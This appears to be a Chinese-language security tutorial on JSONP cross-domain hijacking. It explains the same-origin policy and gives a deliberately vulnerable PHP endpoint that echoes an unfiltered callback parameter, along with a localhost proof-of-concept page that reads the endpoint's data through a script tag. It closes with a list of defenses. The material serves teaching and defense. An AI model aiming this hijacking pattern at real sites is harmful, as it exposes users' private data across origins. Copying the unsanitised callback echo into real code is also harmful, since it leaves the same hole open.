jsonp跨域劫持

JSONP是什么

1
2
JSONP 是 JSON with padding(填充式 JSON 或参数式 JSON)的简写
JSONP就是为了跨域获取资源而产生的一种非官方的技术手段(官方的有 CORS 和 postMessage),它利用的是 script 标签的 src 属性不受同源策略影响的特性

为何会产生跨域

同源策略

1
同源策略即:同一协议,同一域名,同一端口号。当其中一个不满足时,我们的请求即会发生跨域问题。

jsonp跨域-解决同源策略限制

1
由于浏览器同源策略的限制,非同源下的请求,都会产生跨域问题,jsonp即是为了解决这个问题出现的一种简便解决方案。JSONP实现跨域请求的原理简单的说,就是动态创建<script>标签,然后利用<script>的src 不受同源策略约束来跨域获取数据。jsonp 劫持就是攻击者获取了本应该传给网站其他接口的数据

如何实现跨域

1
2
3
4
5
6
不管是我们的script标签的src还是img标签的src,或者说link标签的href他们没有被同源策略所限制,比如我们有可能使用一个网络上的图片,就可以请求得到
这些标签的src和link属性,并没有受同源策略的限制。jsonp的实现原理就是利用了这些标签属性。
1)<script type="text/javascript" src="某个cdn地址" ></script>
2)<link type="text/css" rel="stylesheet" href="某个cdn地址" />
3)<img src="某个cdn地址" alt=""/>
jsonp就是使用同源策略这一“漏洞”,实现的跨域请求(这也是jsonp跨域只能用get请求的原因所在)。

jsonp漏洞利用过程和危害

1
JSONP 由两部分组成:回调函数和数据。回调函数是当响应到来时应该在页面中调用的函数。回调函数的名字一般是在请求中指定的。而数据就是传入回调函数中的 JSON 数据。

服务端代码,保存为test2.php

1
2
3
4
5
6
7
8
9
10
11
<?php
$data = array(
'age' => 20,
'name' => 'dada',
);

$callback = $_GET['theFunction'];

echo $callback."(".json_encode($data).")";
return;
?>

客户端代码,保存为4.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!DOCTYPE html>
<html>
<head>
<title>GoJSONP</title>
</head>
<body>
<script type="text/javascript" src="./jquery-3.3.1.min.js"></script>
<script type="text/javascript">
function jsonhandle(data){
alert("age:" + data.age + "name:" + data.name);
}
</script>
<script type="text/javascript">
$(document).ready(function(){
$.ajax({
type : "get",
url : "http://127.0.0.1/jsonp/test/test2.php?id=1",
dataType: "jsonp",
jsonp:"theFunction", //指定回调函数在 URL 中的参数名(不指定默认为 callback)
jsonpCallback: "jsonhandle",//指定回调函数名称(如果不指定,服务器会随机分配一个jQueryxxx 的名字)
success : function(data) {
console.info("调用success");
}
});
}); //请求url格式 http://127.0.0.1/jsonp/test/test2.php?id=1?theFunction=jsonhandle
</script>
</body>
</html>

跨域劫持成功

访问客户端4.html,成功通过jsonp跨域劫持到服务器端json数据

picture

测试利用

动态创建script标签,设置其src为目标服务器地址即存在漏洞地址,回调函数在src中设置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Liantong</title>
</head>
<body>
<script>
function aaa(data) {
alert(1);
alert(data.name+data.age);
}
</script>
<script src="http://127.0.0.1/jsonp/test/test2.php?theFunction=aaa"></script>
</body>
</html>

跨域防护

1
2
3
4
5
严格安全的实现 CSRF 方式调用 JSON 文件:限制 Referer 、部署一次性 Token 等。
严格安装 JSON 格式标准输出 Content-Type 及编码( Content-Type : application/json; charset=utf-8 )。
严格过滤 callback 函数名及 JSON 里数据的输出。
严格限制对 JSONP 输出 callback 函数名的长度(如防御上面 flash 输出的方法)。
其他一些比较“猥琐”的方法:如在 Callback 输出之前加入其他字符(如:/**/、回车换行)这样不影响 JSON 文件加载,又能一定程度预防其他文件格式的输出。还比如 Gmail 早起使用 AJAX 的方式获取 JSON ,听过在输出 JSON 之前加入 while(1) ;这样的代码来防止 JS 远程调用